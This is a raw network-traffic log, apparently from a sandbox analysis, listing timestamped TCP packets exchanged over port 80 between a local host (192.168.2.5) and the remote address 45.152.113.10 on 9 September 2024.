Sep 9, 2024 18:45:06.538723946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538741112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538728952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538728952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538779974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538779974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538779974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538824081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538840055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538856030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538862944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538872957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538889885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538911104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538911104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538911104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538911104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538928986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538934946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538955927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538965940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539088011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539103031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539118052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539134979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539144039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539153099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539165974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539169073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539187908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539191961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539212942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539236069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539320946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539336920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539352894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539369106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539391994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539407015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539414883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539414883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539423943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539427042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539446115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539459944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539475918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539490938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539506912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539515972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539524078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539527893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539546967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539561033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539720058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539726019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539740086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539752960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539755106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539763927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539768934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539781094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539787054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539792061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539803028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539814949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539832115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539851904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539853096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539875984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539891005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539891005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539911985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539922953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.539958000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539973021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539988041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.539992094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540004969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540005922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540021896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540024042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540039062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540044069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540054083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540056944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540075064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540081978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540097952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540100098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540117979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540133953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540205956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540221930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540239096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540245056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540256023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540256977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540272951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540273905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540288925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540290117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540307045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540308952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540319920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.540327072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540338993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.540357113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.628818989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628879070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628896952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628945112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628961086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628977060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628993034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.628997087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629009008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629026890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629029036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629038095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629045010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629061937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629069090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629080057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629089117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629096985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629106998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629113913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629123926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629138947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629153013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.629895926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629944086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629960060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.629992962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630009890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630101919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630119085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630135059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630152941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630172014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630181074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630191088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630201101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630211115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630219936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630229950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630245924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630263090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630270004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630280972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630290985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630296946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630315065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630341053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630341053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630363941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630399942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630415916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630431890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630440950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630449057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630462885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630466938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630481958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630495071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630523920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630561113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630603075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630661011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630677938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630696058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630702972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630712986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630713940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630732059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630736113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630750895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630767107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630768061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630788088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630805016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630820036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630841970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630841970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630850077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630876064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630882025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630892992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630901098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630911112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630918026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630928040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630928993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630948067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.630953074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630963087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.630976915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631063938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631081104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631118059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631222010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631239891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631256104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631263018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631272078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631277084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631289005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631289959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631308079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631313086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631325006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631328106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631346941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631346941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631350040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631356955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631367922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631375074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631380081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631407022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631432056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631632090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631649971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631664991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631680965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631689072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631697893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631706953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631715059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631728888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631732941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631740093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631750107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631752968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631767035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631773949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631783962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631788015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631798983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631800890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631819010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631823063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631836891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631870031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.631875038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631892920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.631933928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632086992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632103920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632121086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632128954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632138968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632158041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632164001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632164001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632174969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632193089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632194996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632194996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632206917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632231951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632234097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632251978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632266045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632271051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632282972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632286072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632298946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632301092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632318974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632323980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632333040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632334948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632359028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632363081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632366896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632378101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632400036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632409096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632436037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632452011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632467031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632483959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632493973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632510900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632535934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632585049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632601023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632621050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632642984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632642984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632659912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632678032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632683992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632694006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632699013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632711887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632711887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632730007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632731915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632747889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632750034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632762909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632767916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632785082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632803917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632935047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632951021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632966042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632972002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.632983923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.632983923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.633002043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.633002043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.633019924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.633019924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.633037090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.633045912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.633057117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.633073092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721381903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721405029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721450090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721457958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721467018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721484900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721492052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721501112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721517086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721518040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721533060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.721540928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.721551895 CEST	49707	80	192.168.2.5	45.152.113.10
